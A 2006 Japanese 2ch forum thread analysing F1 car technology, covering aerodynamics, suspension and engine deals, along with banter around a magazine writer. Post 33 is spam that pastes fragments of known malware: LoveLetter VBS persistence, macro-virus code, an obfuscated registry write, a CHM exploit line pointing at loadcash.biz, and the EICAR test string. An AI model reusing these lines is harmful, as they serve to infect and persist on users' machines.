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【右往】2006 F1マシン解析・分析スレpart7【左往】

1 :音速の名無しさん:2006/10/19(木) 18:12:09 ID:INH1x3wE
シーズン中も開発の進む各チームの最新F1GPマシン本体(デザイン・空力・エンジン・
サスペンション等々)について外野がああだこうだ語り合うスレです。

★各GP毎のレース経過・リザルトについてはF1総合スレへ
★特定のチーム・ドライバーだけに偏った話題は各専用スレへ
★荒らし・煽りは華麗にスルー

(推奨参考図書)
http://www.formula1.com/insight/technical_analysis/

前スレ
【右往】2006 F1マシン解析・分析スレpart6【左往】
http://ex9.2ch.net/test/read.cgi/f1/1154449126

■2006年型マシン
トヨタ TF106 ttp://www.f1total.com/bilder/cat.php?c=06vallel1
    TF106B ttp://www.f1total.com//bilder/2006/gp/0607mon/fr/z156.jpg
レッドブル RB2 ttp://www.f1total.com//bilder/2006/praes/06redbull//z007.jpg
ルノー R26 ttp://www.f1total.com/bilder/cat.php?c=06ren1
フェラーリ 248 F1 ttp://www.f1total.com/bilder/cat.php?c=06ferr2
BMW Sauber F1.06 ttp://www.f1total.com/bilder/cat.php?c=06bmw1
マクラーレン MP4-21 ttp://www.f1total.com/bilder/cat.php?c=06mcl2
ホンダ RA106 ttp://www.f1total.com/bilder/cat.php?c=06honda2
ウイリアムズ FW28 ttp://www.f1total.com/bilder/cat.php?c=06will1
MF1 M16 ttp://www.f1total.com/bilder/cat.php?c=06mf11
トロロッソ STR1 ttp://www.f1total.com//bilder/2006/praes/06redbull//z009.jpg
スーパーアグリ SA05 ttp://www.f1total.com//bilder/2006/tests/06sil3//z025.jpg
          SA06 ttp://f1.racing-live.com/f1/photos/2006/tests72/diapo_115.jpg

2 :音速の名無しさん:2006/10/19(木) 18:14:00 ID:mvZF2tLM
2げと

3 :音速の名無しさん:2006/10/19(木) 18:28:50 ID:EfGjCE9L
《過去スレ(の一部)》
スレタイ不明 Part2
http://ex9.2ch.net/test/read.cgi/f1/1141411904/
【2006】 F1マシン解析・分析スレ 【Part3】
http://ex9.2ch.net/test/read.cgi/f1/1143027511/
【右往】2006 F1マシン解析・分析スレpart4【左往】
http://ex9.2ch.net/test/read.cgi/f1/1146932691/
【右往】2006 F1マシン解析・分析スレpart5【左往】
http://ex9.2ch.net/test/read.cgi/f1/1151290836/

4 :音速の名無しさん:2006/10/19(木) 18:31:01 ID:C37wjjiC
>>1
乙です
2日前から立てようとしてたんだけど弾かれて無理だったorz

5 :音速の名無しさん:2006/10/19(木) 19:01:09 ID:bY8DFv7K
>>1
オツ

フェラーリってトルコで使ってたリアのリムシールドをまだ使用してたっけ?

6 :音速の名無しさん:2006/10/19(木) 20:32:51 ID:IwIZsdpk
使ってるよー
トヨタも赤牛も

7 :音速の名無しさん:2006/10/19(木) 20:41:59 ID:Xgg4vyrh
今出てるモーターファンの別冊の後ろの方にF1のサスペンションを解説
したページがあった。まあまあの出来。

8 :音速の名無しさん:2006/10/19(木) 20:56:30 ID:kkGyMy5P
でも第1スティントしかあのカバー無いよね

9 :音速の名無しさん:2006/10/19(木) 21:19:03 ID:a70+ScVa
>>7
数分前に見たw まあまあだね。買おうとは思わんかったけど。

10 :音速の名無しさん:2006/10/19(木) 21:32:15 ID:71wj7E5M
やっぱフロントはサスなし?w

11 :音速の名無しさん:2006/10/19(木) 23:22:12 ID:C37wjjiC
>>8
上海でも途中から無かったよね?
あんま数がないのかね・・・

12 :音速の名無しさん:2006/10/19(木) 23:51:36 ID:QIjDUXYL
>>11
あのカバーはブレーキ冷却を阻害するデメリットがあるから、
ブレーキに余裕がある序盤しか使わないんじゃないの?

13 :音速の名無しさん:2006/10/20(金) 10:43:50 ID:GWbR7JA6
タイヤ交換やりにくそう

14 :音速の名無しさん:2006/10/20(金) 11:49:59 ID:0kL4Qfpn
>>6
サンクス

15 :音速の名無しさん:2006/10/20(金) 17:49:20 ID:xwzQh/7Y
>>14
赤牛は赤牛でもトロロッソの方だけなんだよな
本家RB2はいくら改良しないとはいってもあのくらいのパーツくらい付ければいいのに・・・

16 :音速の名無しさん:2006/10/21(土) 02:02:56 ID:uZakzwzD
トロロはフェラーリエンジンだってな、これで本家RBははれてルノーを使用か…。

17 :音速の名無しさん:2006/10/21(土) 07:48:58 ID:4ulxkQe7
フェラーリのカスタマーよりルノーのカスタマーのほうが
まともなエンジンまわしてくれそうだから本家赤牛的には嬉しいだろうな

18 :音速の名無しさん:2006/10/21(土) 12:00:10 ID:WGxX+4K6
トロロが来季RB2使うならリウッチとスピードかわいそうだな
走らすだけなら金はかからないかもしれないがあんなクルマじゃね

19 :音速の名無しさん:2006/10/21(土) 22:00:11 ID:Jl6L13EF
いまのRB2+フェラーリエンジンが、そのままトロロに行くんだから走行データが
いっぱい有りそうだけど

20 :音速の名無しさん:2006/10/21(土) 22:57:29 ID:Urdxnf9e
>>7
買ったぜ!
結構面白かったと思う。
もうちょっとページ数増やしてやって欲しいな。


21 :音速の名無しさん:2006/10/21(土) 23:00:53 ID:8oWIbPq/
>>19
タイヤが変わるから意味ないんでは

22 :音速の名無しさん:2006/10/22(日) 00:40:05 ID:qo0yt0rj
>>19
データがあっても本家ですら早々に開発諦めてたマシンじゃたかがしれてるよね

23 :音速の名無しさん:2006/10/22(日) 04:09:04 ID:aVgiRLGJ
牛トロは来年、RB2を使わない方が良いと思うなぁ。
RB2使うよりもSTR01を正常進化させたほうがまともなクルマが出来ると思うが・・・。

24 :音速の名無しさん:2006/10/22(日) 04:33:53 ID:E6PdQaSA
つうか赤べこーズは来期、どちらともがニューウェイプロデュースのマシンを用意
するんじゃないかって言う不穏な噂があるな。

25 :音速の名無しさん:2006/10/22(日) 21:00:06 ID:qo0yt0rj
噂の域だけにしてもらいたいな・・・そんなことされたらSAF1は基、スパイカーも哀れでしょうがねぇ

26 :音速の名無しさん:2006/10/23(月) 00:23:02 ID:PdYUmzy4
ウィリムスはサム・マイケルの役割を変えるのか
遅すぎるくらいだな

27 :音速の名無しさん:2006/10/23(月) 00:39:27 ID:mAvQRM7Z
一時期首切りまくったから人材も残ってなさそうだ>ウィリアムズ
FW29がどんなカタチになってくるか楽しみだな

28 :音速の名無しさん:2006/10/23(月) 00:50:17 ID:19PnIpu3
セイウチノーズならぬタイセンノーズ

29 :音速の名無しさん:2006/10/23(月) 00:56:49 ID:PdYUmzy4
>>28
ノーズにタイセンが吊るされてるのか(((( ;゚Д゚)))ガクガクブルブル

30 :音速の名無しさん:2006/10/23(月) 01:36:07 ID:mAvQRM7Z
セイウチノーズ、斬新で意外と好きだったw
ゼロキール化して復活しt(ry

31 :音速の名無しさん:2006/10/23(月) 04:48:42 ID:jAjZGBKC
コスワースV8の最終戦が同志討ちなんて・・・
V10も良いとこなしで終了・・・

32 :音速の名無しさん:2006/10/23(月) 15:00:33 ID:xvV00sxc
AGE

33 :音速の名無しさん:2006/10/23(月) 17:21:40 ID:lllirTa40
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

34 :音速の名無しさん:2006/10/25(水) 02:57:38 ID:etWgIe2UO
フェラーリってシームレスシフト投入したんだっけ?

35 :音速の名無しさん:2006/10/25(水) 20:34:55 ID:yPB6OleP0
そういえば導入したんだっけ?

36 :音速の名無しさん:2006/10/25(水) 20:53:39 ID:4qk0kOLP0

      ☆ チン     マチクタビレタ〜
                         マチクタビレタ〜
        ☆ チン  〃  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ヽ ___\(\・∀・) <   2007年型マダァ〜?
             \_/⊂ ⊂_ )   \__________
           / ̄ ̄ ̄ ̄ ̄ ̄ /|
        | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
        |  ペヤング.   |/

37 :音速の名無しさん:2006/10/25(水) 21:33:16 ID:XX3i7zo70
>>34
開発費のわりにメリットが少なくコストパフォーマンスが悪いため開発をやめちゃった

38 :音速の名無しさん:2006/10/25(水) 21:36:41 ID:i6CncOIt0
いや、そんな前の話じゃなくて
中国あたりで投入したとかいう話では?

39 :音速の名無しさん:2006/10/25(水) 21:56:33 ID:yPB6OleP0
>>36
RB2初期型って風洞実験じゃ良い結果でてたのかね・・・
まともに走ってる姿見たかったさw

40 :音速の名無しさん:2006/10/25(水) 23:12:01 ID:lCFG2o+r0
来期のタイヤが性能ダウンしたり、今年のTOP2がキールだった事から考えて
ゼロキールをやめるチームって出てくるかな?


41 :音速の名無しさん:2006/10/25(水) 23:59:24 ID:yPB6OleP0
あるかもね

42 :音速の名無しさん:2006/10/27(金) 00:13:59 ID:m2N1muak0
一部のシステムよりもトータルパッケージが重要ってことだね

43 :音速の名無しさん:2006/10/27(金) 02:24:59 ID:rLZKq9710
来季のタイヤ次第ってところもありそうだよね

44 :音速の名無しさん:2006/10/27(金) 04:40:56 ID:WZ6BlqfT0
マクラーレンはアロンソ向きのフロントサスペンションにする
らしいからゼロキールやめてくるような気がしないでもない

45 :音速の名無しさん:2006/10/27(金) 12:48:13 ID:fEfK1WKd0
ロス茶離脱正式発表きたね。エンジンのプログラム担当も離脱って大丈夫かよ。

46 :音速の名無しさん:2006/10/28(土) 00:49:07 ID:usctgSoC0
大丈夫、フ。○○○の攻略本だよ

47 :音速の名無しさん:2006/10/28(土) 00:54:54 ID:qyqr5n4U0
>>45
マルティネッリはフィアットには残るみたいだから何かあればすぐ呼べるんじゃない?
ロスの方は早速イギリス系のチームがおいでおいでって話があるらしいけど・・・
F速16pのロスがおばはんくさくて吹いたw

48 :音速の名無しさん:2006/10/28(土) 00:55:23 ID:hMLzaxmK0
>>40
来期のタイヤ次第っていうのもあると思うけど
マスダンパー禁止で増える可能性もありそうな気がするよ

49 :音速の名無しさん:2006/10/28(土) 20:43:28 ID:eeBRBVdW0
>>7
実はあの記事の著者なんだが、「まあまあ」って、どのへんがよくなかった?
たしかに、ルノーのサスに関してはプッシュロッドのロワーマウントのヒミツと、
マスダンパーが実は逆V字形状のマウントになってる点について突っ込め
なかったのは申し訳ない。本当はあと2ページ使えるはずだったんだが、
諸般の事情で割愛せざるををえなかったんだわ。すまん。

あと、ホンダはやっぱFロッカー2種類使ってる。これは確認した。コブがない
時(たとえば優勝したハンガリー等)は、アンチロール機構を使わないために
効率のいい形状のロッカーに変更してる。

ちなみに今年のマシンは50:50じゃなくて47:53程度らしいので訂正しとくわ。
すまなんだな。

50 :音速の名無しさん:2006/10/28(土) 20:52:05 ID:eeBRBVdW0
>>9
そんなこと言わないで買ってくれよ(T_T)
たくさん売れないと次の号が作れないんだよ(T_T)

ちなみに次の号ではGTを採り挙げる。すごいぞw

51 :音速の名無しさん:2006/10/28(土) 21:08:21 ID:Cj2jKGqC0
本買った。
俺は素人だからためになったよw

52 :音速の名無しさん:2006/10/28(土) 21:29:10 ID:qyqr5n4U0
俺も買ったよ、もしあと2ページ分をどっかで書ける機会があったら頼むね
RA106ってハンガリーでもバルジあったような気がする・・・

53 :音速の名無しさん:2006/10/28(土) 21:58:45 ID:FKMYy22UO
>>46
FFTで大丈夫じゃなかった私が来ましたよと

54 :音速の名無しさん:2006/10/28(土) 22:15:02 ID:O8IehPXS0
高速フーリエ変換でダメならウェーブレットを使えばいいじゃない

55 :音速の名無しさん:2006/10/29(日) 02:32:21 ID:NbpAb/d10

ややうけ…

56 :音速の名無しさん:2006/10/29(日) 12:21:02 ID:M6ESHxcX0
来期はどこまでウイングが曲がるかな。

57 :49:2006/10/29(日) 13:19:42 ID:jl/4pQvB0
>>51
>>52
お買い上げありがとう・゚・(つД`)・゚・
頑張っていい本作るから、これからもよろしくね。
できれば年間定期購読してくれると嬉しい。今なら先着400名様に
EBROに特注したニッサンR383の白バージョン(ここでしか入手不可)を
もれなく進呈いたします。

>>51
あのロールセンターの図を見るだけでも、いかにヨタがバカかってことがよく
ご理解いただけたかと思います。お役に立てたなら嬉しいです。

>>52
やっぱり割愛しちゃったんだけど、ヨタが106Bでモノコックを106のスペーサー
と同じ位置まで伸ばしてて、やっぱりコイツらわかってねえ、って話とかも
あったんだよね。最近F速では仕事してないんだけど、総集編あたりで
書かせてもらえたら、ルノーの件も含めて全部暴露するわw

ちなみに、あのコーナーは「モタスポ」のテクノロジーなので、F1に関しての
記事はしばらくやらないかな。次号はGT、3号はWRC、4号はMotoGPを
予定しています。普通のレース雑誌とかでは絶対に見られない図版や
メカ解説をばんばんやるので、ご興味のある方はぜひ年間購読を…w

58 :49:2006/10/29(日) 13:31:45 ID:jl/4pQvB0
見落としてました。
>>20様もお買い上げありがとうございました。

59 :音速の名無しさん:2006/10/29(日) 13:35:34 ID:LN+sMEon0
宣伝ウザイ

60 :音速の名無しさん:2006/10/29(日) 13:46:01 ID:2wx1hMg30
偽門だろ
確かにトヨタは馬鹿だし言いたい内容に問題ないがジャーナリストが「ヨタ」って表現使う時点でおかしいだろ
業界から引退したいならしらんが


61 :49:2006/10/29(日) 14:29:01 ID:jl/4pQvB0
>>60
ん?偽物扱いされてもまったくかまわんが、現場でさえみんな普通にヨタヨタ言ってるぞ?
別にジャーナリスト引退してもかまわんしなw

62 :音速の名無しさん:2006/10/29(日) 14:52:19 ID:8QVH+t+/0
>>61パドックでのヨタの評判はどうですか?

63 :音速の名無しさん:2006/10/29(日) 14:58:22 ID:IK2JCmEvO
最近雑誌とかもあまり買わなくなった元オタですがw
鈴鹿で撮って来た写真を色々見較べてたが、SAF1の空力パーツって結構頑張ってるよなぁ・・と思った。
効果までは判らんが、少なくとも作った=金はかかってる。相当高い筈で、当てずっぽうではやらんだろう。。
まぁセカンドクラスの中ではかなりゴージャスな外装だwという印象を持ったね〜来年も頑張れ。

64 :音速の名無しさん:2006/10/29(日) 15:00:38 ID:CD72FdjL0
>>57

http://www.sun-a.com/mook/detail.cgi?i=273

その本ってコレ↑ですか?
買ってみますんで、コレかどうか教えてくだしい。

65 :音速の名無しさん:2006/10/29(日) 15:33:29 ID:Cq2f64EH0
>>63
何かのインタビューで、リアウィングにしても、各仕様で
ある程度決め打ちでやってて、アジャスト穴の無い物が
多いって言ってたな。
鈴鹿じゃセンターウィングにもガーニー付いてたり色々マメな印象がw

新興チームって往々にしてエアロパーツの未成熟さが目立つって印象があるけど
SAF1は経験者が多いせいかSA05にしたって、思ってた以上に「今風」だなぁって感心したよ。

66 :音速の名無しさん:2006/10/29(日) 15:49:22 ID:nl7ZZAjvO
2chを宣伝に使うことは禁止されています。
とりあえず、通報しました。

67 :音速の名無しさん:2006/10/29(日) 15:56:50 ID:oAwhBu8kO
右往左近に見えた

68 :49:2006/10/29(日) 15:58:42 ID:jl/4pQvB0
>>62
ご推察している通りだと思いますw
ただ、木下さんだけはエンジニアとしては異能の人だと思ってました。

>>64
それです、っていうと宣伝になっちゃうみたいですねw

>>66
自分の書いた記事が話題になってたから、参考意見を聞きたくて名乗り出て、
裏話なんかもさせてもらって、ついでに「よかったら買ってね」っていうのも
宣伝になるのか?

69 :音速の名無しさん:2006/10/29(日) 16:00:28 ID:1utitRry0
「よかったら買ってね」の時点で宣伝になるんじゃね?

70 :49:2006/10/29(日) 16:08:25 ID:jl/4pQvB0
>>69
そうか。でも、「買うまでのことはない」とか言われたらさあ・゚・(つД`)・゚・
頑張って作ったんだよお・゚・(つД`)・゚・

71 :音速の名無しさん:2006/10/29(日) 16:18:31 ID:wfIwvKW20
腰の低い関係者がくるスレはここですね

>>49
今から本屋さんいってくる
面白そうだったら買ってくるよ

72 :64:2006/10/29(日) 17:05:02 ID:CD72FdjL0
>>70 >49氏
どもです、買ってみますよノシ


所で、もしかして>49氏は前スレでゼロキールについて語られていた方でしょうか?
もし違うのでしたらスミマセン(つД`)

73 :49:2006/10/29(日) 22:28:51 ID:jl/4pQvB0
>>72
とりあえず立ち読みして、つまらなそうだったらわざわざあんな高い本買ってくれなくていいですw
F1サスより、むしろディーゼル特集が白眉だったりしますので。

> 所で、もしかして>49氏は前スレでゼロキールについて語られていた方でしょうか?

ちゃいます。色々事情があって、このスレ見るのひと月ぶり以上だったんですよ。
ひょっとして、メカ好きの誰かがあの記事のこと話題にしてくれてるかな? なんて思ってw
前スレはdat落ちで、●持ちではないので799までしか読めないんですが、それ以前に
ゼロキールの話、出てました? よかったら教えて下さい。

74 :音速の名無しさん:2006/10/29(日) 22:42:14 ID:JODC9OAW0
>>49

好きな女の子のタイプは?
あとカレーとラーメンだったらどっち好き?

75 :音速の名無しさん:2006/10/29(日) 23:25:21 ID:Fey/VeoI0
49氏キタ━━━━(゚∀゚)━━━━!!!!

76 :49:2006/10/30(月) 00:11:20 ID:OQS4HPEu0
>>74
かわいくて優しい人がいいですね。毛深いのは苦手ですw
あとは浮気しない人かな。最近、そんなような話で体調を崩し…・゚・(つД`)・゚・

77 :49:2006/10/30(月) 00:13:05 ID:OQS4HPEu0
>>74
すいません、カレーもラーメンも、どちらも僕にとってはとてもとても大事なものなんですが、
もし「今後一生、どちらかしか食えない」と言われたらカレーだと思います。

78 :49:2006/10/30(月) 00:14:56 ID:laKpFtC40
豚骨ラーメンも好きですけどね。

79 :音速の名無しさん:2006/10/30(月) 00:15:55 ID:vaFrKuKk0
>>49
来季のマシンの傾向予想などお聞かせ願いたいです

80 :音速の名無しさん:2006/10/30(月) 00:34:14 ID:0OOeBh7N0
モーターファンってまだあったのか。
CAR STYLINGも昔は集めてたが。。。

81 :音速の名無しさん:2006/10/30(月) 01:45:23 ID:JGt8ZmIZ0
そういやF1モデリングもここのところあの上手なイラストが載ってないなぁ・・・

82 :音速の名無しさん:2006/10/30(月) 02:21:52 ID:P3nDdeYI0
>>49
4号のMotoGP特集では、もてぎの日本GPで発表になったRC211Vニュー
ジェネレーションの資料を是非とも載せて下さい

スレ違いスマン>All

83 :445:2006/10/30(月) 02:49:32 ID:2FMBglBy0
49さん

俺も欲しいよ!
札幌に売っているのかい?

84 :音速の名無しさん:2006/10/30(月) 07:29:35 ID:Rspyh9IJ0
やっぱ業界にはアンチトヨタが多いんだね

というか自分のほうがトヨタ関係者より知識があるって思い込んでるのはちょっと痛いな
特に>>57みたいなカキコはちょっと見苦しい

85 :音速の名無しさん:2006/10/30(月) 07:32:56 ID:Rspyh9IJ0
ちなみにトヨタを批判することに異論を挟んでるわけではなくて
49氏のアンチ丸出しのカキコが酷いなと思っただけなのであしからず

86 :49:2006/10/30(月) 08:06:31 ID:OQS4HPEu0
>>83
正直、あまり部数をたくさん刷ってないので、小さな書店さんでは置いてない可能性が
高いです。ジュンク堂とか三省堂とか紀伊国屋書店みたいな大きいところなら置いて
くれている可能性が高いと思います。

>>84
だってヨタ嫌いなんだもんw
あなたもいっぺんパドックパスでも買って、トヨタのピット内で行なわれている事、
交わされている会話、行なわれている作業とか、実際に見てみるといいと思うよ。

87 :音速の名無しさん:2006/10/30(月) 08:08:36 ID:E8423QGL0
もう個人のブログでやったら?

88 :音速の名無しさん:2006/10/30(月) 08:54:25 ID:Rspyh9IJ0
>>86
嫌いだから何書いてもいいって言うんじゃ
便所の落書きと変わらんと思うが

>>87
確かに私的感情丸出しで書くんならブログのほうが適してるだろうしね
このスレはアンチカキコ推奨してるわけじゃないしw

89 :音速の名無しさん:2006/10/30(月) 10:59:32 ID:PmCUhHm8O
なんか妙なのが愉快な便所の落書き2chで私的な感情を剥き出しに、
見苦しくもキャンキャン吠え立てて>>49氏に噛みついてるなぁ
企業に雇われて無理やり評判を操作するつまらん仕事してるトヨタの犬か?
>>49がことさらにスゲー没個人的な批判でトヨタを叩きまくってる訳でもなく、
カルト系有料インチキ広報誌F1derのエセジャーナリストの発言でもあるまいし、
どうということもなくフツーだろ
気に食わなきゃ自分が見なきゃいいだけじゃん

90 :音速の名無しさん:2006/10/30(月) 11:04:46 ID:aloDICBE0
>>88
2chは便所の落書きを書くところだろう
オマエはアホか

91 :49:2006/10/30(月) 11:10:05 ID:OQS4HPEu0
>>89
>>90
まあまあ、僕もちょっと調子に乗りすぎてたかもしれません。
指摘はもっともな部分もあるし、以後、発言はなるべく控えるようにしますので、
あんまり揉めないでやってくださいまし。

また面白いネタが入ったら名無しで書き込みますよ。
そんなことで。

92 :音速の名無しさん:2006/10/30(月) 11:18:42 ID:PmCUhHm8O
よろしくです >>91
期待してます

93 :音速の名無しさん:2006/10/30(月) 15:02:43 ID:JGt8ZmIZ0
おまいらおつつけ
っ赤牛

94 :音速の名無しさん:2006/10/30(月) 18:22:08 ID:cCUvXjrn0
>>93
興奮してキタ━━━━━━(゚∀゚)━━━━━━ !!!!!

95 :音速の名無しさん:2006/10/30(月) 18:31:36 ID:Rysm9rYc0
今日ウチ近くの駅に新幹線の試験車両ファステックが来たんだけど、
F1並のハイノーズになってて驚いたよ。

96 :音速の名無しさん:2006/10/30(月) 18:42:31 ID:+l2AugU80
そこから空気を下に送って、前と同じ形の後のハイノーズがデフューザーの役目を
果たすってか?w

97 :音速の名無しさん:2006/10/30(月) 18:44:49 ID:PmCUhHm8O
赤牛汁うまくもないのに量あってなぁ・・・

ところで以前、トロにフェラ猿人載せて赤べこはルノーあたりから
なんて噂があったが、その後どうなってんだろ
MF1にトロまでがフェラ猿人なんか載せちゃったら、
レースでアグリの周りが寂しくなっちゃうじゃん?w

98 :音速の名無しさん:2006/10/30(月) 18:57:50 ID:Rysm9rYc0
適当にファステックの画像探してきた、2パターンあるんだね
http://www.hobidas.com/blog/special05/archives/001.jpg
http://www.hobidas.com/blog/special05/archives/002.jpg
http://www.hobidas.com/blog/special05/archives/004.jpg
今日来てたのは真ん中のやつ。
下のみたいにエアブレーキまで付いてる。
画像はないけど垂直尾翼みたいなのも付いてた。

99 :音速の名無しさん:2006/10/30(月) 19:33:29 ID:PmCUhHm8O
ハイノーズって言っても足元はギリギリまでしっかり覆ってるんだな

まあ当たり前か

100 :音速の名無しさん:2006/10/30(月) 20:25:57 ID:YtBDpeJ70
エアブレーキはなんかの冗談みたいな形だなw

101 :音速の名無しさん:2006/10/30(月) 20:29:35 ID:fIv28c3n0
N速+じゃ猫耳と呼ばれてた

102 :音速の名無しさん:2006/10/30(月) 20:47:44 ID:YtBDpeJ70
やっぱりw

103 :音速の名無しさん:2006/10/30(月) 21:30:33 ID:JGt8ZmIZ0
>>94
あれ刺激強すぎる
>>97
結局本家がルノーでトロがフェラーリみたいな流れのままじゃないか?
ただトロがいくらフェラーリエンジンであってもマシンがRB2ベースじゃ自滅しそうな気がする

104 :音速の名無しさん:2006/10/30(月) 21:35:28 ID:/KM9RCik0
擬人化猫耳フィギュアがJR東日本公認で出たぐらいだしw>ファステック

その後に出たもう一台の試験車両は両方ハイノーズ版(>>98の002.jpgのほう)らしいから
ハイノーズのほうが空力性能が高いのかもしれない。
(新幹線とF1とでは条件も求められる物も違うけど)

>>97
本決まりじゃかったっけ>本隊ルノー、トロフェラーリ
そこまで供給して品質面で大丈夫なのか心配になってくるわけですが

105 :音速の名無しさん:2006/10/30(月) 21:38:10 ID:JGt8ZmIZ0
>>104
フェラーリカスタマーは品質バラツキありそう・・・

106 :音速の名無しさん:2006/10/31(火) 00:43:14 ID:go41TNkJ0
そして補修パーツの値段の高さに呆れて自分でバラしてみると
トラクターと同じパーツが使われていてブチキレルわけですね。

107 :音速の名無しさん:2006/10/31(火) 00:57:13 ID:ghtICzmf0
ぼるぼるぎーにですかw

108 :音速の名無しさん:2006/10/31(火) 01:06:10 ID:OK2ldD61O
↑それランボルギーニ創始者がでっち上げた話らしい

109 :音速の名無しさん:2006/10/31(火) 09:07:51 ID:BsWirQxUO
フェラーリのイタリアらしい手作りの辻褄合わせは昔のことだからw

110 :音速の名無しさん:2006/10/31(火) 13:57:04 ID:/sfflAby0
>>106
△トラクターと同じパーツが使われていてブチキレルわけですね
○交換しようとしたら自社で生産してるトラクターと同じクラッチにべらぼうな値段を吹っかけられてブチキレルわけですね

111 :音速の名無しさん:2006/10/31(火) 16:14:27 ID:BsWirQxUO
トロロッソとスパイカーはトラクターメーカーじゃないんだが

112 :音速の名無しさん:2006/10/31(火) 18:17:22 ID:ghtICzmf0
野暮な突っ込み〜

113 :音速の名無しさん:2006/10/31(火) 18:31:19 ID:BsWirQxUO
いやあ野暮も何も、そもそもが無理矢理フェラとランボをごっちゃにしてて
全然洒落になってないじゃん

114 :音速の名無しさん:2006/10/31(火) 18:39:08 ID:lxHyRCWd0
お前さん、盛り上がってる場で冷ややかなこと言って場を静まり返らせるのが得意だろ。

115 :音速の名無しさん:2006/10/31(火) 19:49:53 ID:BsWirQxUO
え?
盛り上がってたのか?w

116 :音速の名無しさん:2006/10/31(火) 20:46:02 ID:ghtICzmf0
この話題もここまでダナー

117 :音速の名無しさん:2006/11/01(水) 15:34:55 ID:AiB5GersO
ヨタヲタ工作員ご苦労w >>917

笑笑スレとコッチで今日はチマチマと虚仮威し作戦かぁw
頭悪いなりに頑張ってるじゃんw
なかなかいいよね
俺が未明に説いてやった、身の丈に合った必死の努力を実践してるのかい?w

118 :音速の名無しさん:2006/11/01(水) 16:09:25 ID:AiB5GersO
誤爆失礼!

119 :音速の名無しさん:2006/11/01(水) 17:34:51 ID:tt7eiUFV0
>>97
トトロッソがフェラーリと2年(+1年)契約締結したみたいよ
ttp://fmotor.nifty.com/f106/

120 :音速の名無しさん:2006/11/01(水) 17:35:33 ID:tt7eiUFV0
トロロッソでしたorz素で間違えた

121 :音速の名無しさん:2006/11/01(水) 18:55:46 ID:D4aFM287O
トトロっそ

ギザカワユスw

122 :音速の名無しさん:2006/11/01(水) 23:25:10 ID:AbjlPt200
うちのお袋もトロロをトトロと言う事がある。
もうトトロでいいんじゃない?
ついでにジ○リがスポンサーとか。

123 :音速の名無しさん:2006/11/01(水) 23:33:50 ID:tt7eiUFV0
案外トトロッソがマイブームになりそうだw怪我の功名

124 :音速の名無しさん:2006/11/01(水) 23:36:24 ID:JjfvyuqO0
>>122
マシンの牛の絵もよく見れば宮崎っぽ(ry

125 :音速の名無しさん:2006/11/02(木) 02:26:53 ID:+glGGIso0
トトロッソ・フェラーリ
なんてジブリな名前なんだ。

126 :音速の名無しさん:2006/11/02(木) 18:56:22 ID:9WSdCXU0O
>>125
紅豚の愛車とか

トロロッソは、トロ+ロッソなの?

>>122
おまいのかあちゃんモタスポ通!
と一瞬思ったw
芋な、芋w

127 :音速の名無しさん:2006/11/02(木) 19:09:17 ID:YJnnmxtr0
トロ(闘牛)+ロッソ(赤)=レッドブル
ポルコ(豚)・ロッソ(赤)=紅の豚
だよな?

>>122
スタジオ○ブリがついたら凄ぇな

128 :122:2006/11/02(木) 23:01:22 ID:hgaDl9/O0
>>126
今年で57になるが、姉貴と一緒に鈴鹿に行った。
ハッキネンがきっかけでファンになり、今はライコネンのファン。
俺には「今年のライコネンのミニカー(MP4/21)買ってこい」と言ってる。

129 :音速の名無しさん:2006/11/02(木) 23:57:18 ID:jcDwYCTn0
>>127
もれなくス○ジオ27もついちゃうぞ

130 :音速の名無しさん:2006/11/03(金) 02:56:53 ID:UmakgQKp0
>>128
母チャン大事にしろよ

131 :音速の名無しさん:2006/11/03(金) 03:59:47 ID:DiSlDD2O0
次はオイカリネンのファンだな

132 :音速の名無しさん:2006/11/03(金) 04:23:26 ID:fQC3N3lyO
57才の腐女子かよっw

133 :音速の名無しさん:2006/11/03(金) 13:05:23 ID:yF3YI0hH0
>>131
ちょwマイナーw

134 :音速の名無しさん :2006/11/04(土) 20:58:19 ID:NdTq8cSr0
「モノコックはね、もうできてるんだよ。ウチにだってカーボン
を担当してる人は30人くらいいるんだから。」

だって!

135 :音速の名無しさん:2006/11/04(土) 21:48:47 ID:8FHCp/IY0
結構前の情報じゃね?

136 :音速の名無しさん :2006/11/05(日) 20:13:05 ID:4hyAlVEj0
>>135
えぇ! じゃー今頃はフロント・リヤの足回りも終わって
カウリングatウイングの製作中だね!!!

137 :音速の名無しさん:2006/11/05(日) 20:56:41 ID:234rOOLt0
それぐらいのネタではしゃぐなアホ

138 :音速の名無しさん:2006/11/05(日) 21:24:31 ID:4hyAlVEj0
>>137
メンゴ
あぐたん 『ギアボックスは今年のアルミ製じゃなくて、
カーボン製のケースのギアボックスが使えるようにな
るからね』 言ってたからリヤのサス関係はマダかな


139 :音速の名無しさん:2006/11/05(日) 23:19:39 ID:234rOOLt0
>>138
とりあえずsageろ
